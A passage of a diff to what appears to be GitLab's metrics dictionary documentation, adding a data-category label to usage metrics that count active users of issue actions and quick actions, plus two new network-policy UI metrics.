Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12174,6 +14350,8 @@ Count of MAU changing the epic on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12186,6 +14364,8 @@ Count of WAU changing the epic on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12198,6 +14378,8 @@ Count of MAU cloning an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12210,6 +14392,8 @@ Count of WAU cloning an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12222,6 +14406,8 @@ Count of MAU closing an issue
Group: `group::project management`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12234,6 +14420,8 @@ Count of WAU closing an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12246,6 +14434,8 @@ Count of MAU commenting on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12258,6 +14448,8 @@ Count of WAU commenting on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12270,6 +14462,8 @@ Count of MAU editing a comment on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12282,6 +14476,8 @@ Count of WAU editing a comment on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12294,6 +14490,8 @@ Count of MAU deleting a comment from an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12306,6 +14504,8 @@ Count of WAU deleting a comment from an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12318,6 +14518,8 @@ Count of MAU creating new issues
Group: `group::project management`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12330,6 +14532,8 @@ Count of WAU creating issues
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12342,6 +14546,8 @@ Count of MAU referencing an issue from somewhere else
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12354,6 +14560,8 @@ Count of WAU referencing an issue from somewhere else
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12366,6 +14574,8 @@ Count of MAU editing an issue description
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12378,6 +14588,8 @@ Count of WAU editing an issue description
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12390,6 +14602,8 @@ Count of MAU adding a design to an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12402,6 +14616,8 @@ Count of WAU adding a design to an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12414,6 +14630,8 @@ Count of MAU modifying a design on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12426,6 +14644,8 @@ Count of WAU modifying a design on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12438,6 +14658,8 @@ Count of MAU removing a design from an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12450,6 +14672,8 @@ Count of WAU removing a design from an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12462,6 +14686,8 @@ Count of MAU changing an issue due date
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12474,6 +14700,8 @@ Count of WAU changing an issue due date
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12486,6 +14714,8 @@ Count of MAU changing the health status on an issue
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -12498,6 +14728,8 @@ Count of WAU changing the health status on an issue
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -12510,6 +14742,8 @@ Count of MAU changing an issue's iteration
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12522,6 +14756,8 @@ Count of WAU changing an issue's iteration
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12534,6 +14770,8 @@ Count of MAU changing an issue's label
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12546,6 +14784,8 @@ Count of WAU changing an issue's label
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12558,6 +14798,8 @@ Count of MAU locking an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12570,6 +14812,8 @@ Count of WAU locking an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12582,6 +14826,8 @@ Count of MAU making an issue confidential
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12594,6 +14840,8 @@ Count of WAU making an issue confidential
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12606,6 +14854,8 @@ Count of MAU making an issue not confidential
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12618,6 +14868,8 @@ Count of WAU making an issue not confidential
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12630,6 +14882,8 @@ Count of MAU marking an issue as a duplicate
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12642,6 +14896,8 @@ Count of WAU marking an issue as a duplicate
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12654,6 +14910,8 @@ Count of MAU changing an issue's milestone
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12666,6 +14924,8 @@ Count of WAU changing an issue's milestone
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12678,6 +14938,8 @@ Count of MAU moving an issue to another project
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12690,6 +14952,8 @@ Count of WAU moving an issue to another project
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12702,6 +14966,8 @@ Count of MAU relating an issue to another issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12714,6 +14980,8 @@ Count of WAU relating an issue to another issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12726,6 +14994,8 @@ Count of MAU removing an issue from an epic
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12738,6 +15008,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -12750,6 +15022,8 @@ Count of MAU re-opening a closed issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12762,6 +15036,8 @@ Count of WAU re-opening a closed issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12774,6 +15050,8 @@ Count of MAU changing an issue time estimate
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12786,6 +15064,8 @@ Count of WAU changing an issue time estimate
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12798,6 +15078,8 @@ Count of MAU recording time spent on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12810,6 +15092,8 @@ Count of WAU recording time spent on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12822,6 +15106,8 @@ Count of MAU editing an issue title
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12834,6 +15120,8 @@ Count of WAU editing an issue title
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12846,6 +15134,8 @@ Count of MAU unlocking an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12858,6 +15148,8 @@ Count of WAU unlocking an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12870,6 +15162,8 @@ Count of MAU unrelating an issue to another issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12882,6 +15176,8 @@ Count of WAU unrelating an issue to another issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12894,6 +15190,8 @@ Count of MAU changing an issue's weight
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12906,6 +15204,8 @@ Count of WAU changing an issue's weight
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12918,6 +15218,8 @@ Aggregate count of MAU taking an action related to an issue
Group: `group::project management`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12930,10 +15232,40 @@ Aggregate count of WAU taking an action related to an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `redis_hll_counters.network_policies.clusters_using_network_policies_ui_monthly`
+
+Monthly number of distinct clusters with network policies using the network policies UI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210623202402_clusters_using_network_policies_ui_monthly.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.network_policies.clusters_using_network_policies_ui_weekly`
+
+Weekly number of distinct clusters with network policies using the network policies UI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210623202358_clusters_using_network_policies_ui_weekly.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly`
Monthly unique user count doing commits which contains the CI config file
@@ -12942,6 +15274,8 @@ Monthly unique user count doing commits which contains the CI config file
Group: `group::pipeline authoring`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12954,6 +15288,8 @@ Weekly unique user count doing commits which contains the CI config file
Group: `group::pipeline authoring`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12966,6 +15302,8 @@ Monthly unique user count having merge requests which contains the CI config fil
Group: `group::pipeline authoring`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12978,6 +15316,8 @@ Weekly unique user count having merge requests which contains the CI config file
Group: `group::pipeline authoring`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12990,6 +15330,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13002,6 +15344,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13014,6 +15358,8 @@ Count of MAU using the `/approve` quick action
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13026,6 +15372,8 @@ Count of WAU using the `/approve` quick action
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13038,6 +15386,8 @@ Count of MAU using the `/assign @user1 @user2` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13050,6 +15400,8 @@ Count of WAU using the `/assign @user1 @user2` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13062,6 +15414,8 @@ Count of MAU using the `/assign_reviewer` or `request_reviewer` quick action
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13074,6 +15428,8 @@ Count of WAU using the `/assign_reviewer` or `request_reviewer` quick action
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13086,6 +15442,8 @@ Count of MAU using the `/assign me` quick action to assign self to an issuable
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13098,6 +15456,8 @@ Count of WAU using the `/assign me` quick action to assign self to an issuable
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13110,6 +15470,8 @@ Count of MAU using the `/assign @user1` quick action to assign a single individu
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13122,6 +15484,8 @@ Count of WAU using the `/assign @user1` quick action to assign a single individu
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13134,6 +15498,8 @@ Count of MAU using the `/award` quick action to set an award emoji on an issuabl
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13146,6 +15512,8 @@ Count of WAU using the `/award` quick action to set an award emoji on an issuabl
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13158,6 +15526,8 @@ Count of MAU using the `/board_move` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13170,6 +15540,8 @@ Count of WAU using the `/board_move` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13182,6 +15554,8 @@ Count of MAU using the `/child_epic` quick action
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -13194,6 +15568,8 @@ Count of WAU using the `/child_epic` quick action
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -13206,6 +15582,8 @@ Count of MAU using the `/clear_weight` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13218,6 +15596,8 @@ Count of WAU using the `/clear_weight` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13230,6 +15610,8 @@ Count of MAU using the `/clone` quick action to clone an issue.
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13242,6 +15624,8 @@ Count of WAU using the `/clone` quick action to clone an issue.
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13254,6 +15638,8 @@ Count of MAU using the `/close` quick action to close an issuable
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13266,6 +15652,8 @@ Count of WAU using the `/close` quick action to close an issuable
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13278,6 +15666,8 @@ Count of MAU using the `/confidential` quick action to set an issue as confident
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13290,6 +15680,8 @@ Count of WAU using the `/confidential` quick action to set an issue as confident
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13302,6 +15694,8 @@ Count of MAU using the `/copy_metadata` quick action on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13314,6 +15708,8 @@ Count of WAU using the `/copy_metadata` quick action on an issue
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13326,6 +15722,8 @@ Count of MAU using the `/copy_metadata` quick action on a Merge Request
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13338,6 +15736,8 @@ Count of WAU using the `/copy_metadata` quick action on a Merge Request
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13350,6 +15750,8 @@ Count of MAU using the `/create_merge_request` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13362,6 +15764,8 @@ Count of WAU using the `/create_merge_request` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13374,6 +15778,8 @@ Count of MAU using the `/done` quick action to mark a todo as done
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13386,6 +15792,8 @@ Count of WAU using the `/done` quick action to mark a todo as done
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13398,6 +15806,8 @@ Count of MAU using the `/draft` quick action on a Merge Request
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13410,6 +15820,8 @@ Count of WAU using the `/draft` quick action on a Merge Request
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13422,6 +15834,8 @@ Count of MAU using the `/due` quick action to change the due date on an issuable
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13434,6 +15848,8 @@ Count of WAU using the `/due` quick action to change the due date on an issuable
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13446,6 +15862,8 @@ Count of MAU using the `/duplicate` quick action to mark an issue as a duplicate
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13458,6 +15876,8 @@ Count of WAU using the `/duplicate` quick action to mark an issue as a duplicate
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13470,6 +15890,8 @@ Count of MAU using the `/epic` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13482,6 +15904,8 @@ Count of WAU using the `/epic` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13494,6 +15918,8 @@ Count of MAU using the `/estimate` quick action to set a time estimate on an iss
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13506,6 +15932,8 @@ Count of WAU using the `/estimate` quick action to set a time estimate on an iss
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13518,6 +15946,8 @@ Unique users using the /invite_email quick action to add a multiple email partic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13530,6 +15960,8 @@ Unique users using the /invite_email quick action to add a multiple email partic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13542,6 +15974,8 @@ Unique users using the /invite_email quick action to add a single email particip
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13554,6 +15988,8 @@ Unique users using the /invite_email quick action to add a single email particip
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13566,6 +16002,8 @@ Count of MAU using the `/iteration` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13578,6 +16016,8 @@ Count of WAU using the `/iteration` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13590,6 +16030,8 @@ Count of MAU using the `/label` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13602,6 +16044,8 @@ Count of WAU using the `/label` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13614,6 +16058,8 @@ Count of MAU using the `/lock` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13626,6 +16072,8 @@ Count of WAU using the `/lock` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13638,6 +16086,8 @@ Count of MAU using the `/merge` quick action
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13650,6 +16100,8 @@ Count of WAU using the `/merge` quick action
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13662,6 +16114,8 @@ Count of MAU using the `/milestone` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13674,6 +16128,8 @@ Count of WAU using the `/milestone` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13686,6 +16142,8 @@ Count of MAU using the `/move` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13698,6 +16156,8 @@ Count of WAU using the `/move` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13710,6 +16170,8 @@ Count of MAU using the `/parent_epic` quick action
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -13722,6 +16184,8 @@ Count of WAU using the `/parent_epic` quick action
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -13734,6 +16198,8 @@ Count of MAU using the `/promote` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13746,6 +16212,8 @@ Count of WAU using the `/promote` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13758,6 +16226,8 @@ Count of MAU using the `/publish` quick action
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -13770,6 +16240,8 @@ Count of WAU using the `/publish` quick action
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -13782,6 +16254,8 @@ Count of MAU using the `/reassign @user1` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13794,6 +16268,8 @@ Count of MAU using the `/reassign_reviewer` quick action
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13806,6 +16282,8 @@ Count of WAU using the `/reassign_reviewer` quick action
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13818,6 +16296,8 @@ Count of WAU using the `/reassign @user1` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13830,6 +16310,8 @@ Count of MAU using the `/rebase` quick action on a Merge Request
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13842,6 +16324,8 @@ Count of WAU using the `/rebase` quick action on a Merge Request
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13854,6 +16338,8 @@ Count of MAU using the `/relabel` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13866,6 +16352,8 @@ Count of WAU using the `/relabel` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13878,6 +16366,8 @@ Count of MAU using the `/relate` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13890,6 +16380,8 @@ Count of WAU using the `/relate` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13902,6 +16394,8 @@ Count of MAU using the `/remove_child_epic` quick action
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -13914,6 +16408,8 @@ Count of WAU using the `/remove_child_epic` quick action
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -13926,6 +16422,8 @@ Count of MAU using the `/remove_due_date` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13938,6 +16436,8 @@ Count of WAU using the `/remove_due_date` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13950,6 +16450,8 @@ Count of MAU using the `/remove_epic` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13962,6 +16464,8 @@ Count of WAU using the `/remove_epic` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -13974,6 +16478,8 @@ Count of MAU using the `/remove_estimate` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13986,6 +16492,8 @@ Count of WAU using the `/remove_estimate` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13998,6 +16506,8 @@ Count of MAU using the `/remove_iteration` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14010,6 +16520,8 @@ Count of WAU using the `/remove_iteration` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14022,6 +16534,8 @@ Count of MAU using the `/remove_milestone` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14034,6 +16548,8 @@ Count of WAU using the `/remove_milestone` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14046,6 +16562,8 @@ Count of MAU using the `/remove_parent_epic` quick action
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -14058,6 +16576,8 @@ Count of WAU using the `/remove_parent_epic` quick action
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -14070,6 +16590,8 @@ Count of MAU using the `/remove_time_spent` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14082,6 +16604,8 @@ Count of WAU using the `/remove_time_spent` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14094,6 +16618,8 @@ Count of MAU using the `/remove_zoom` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
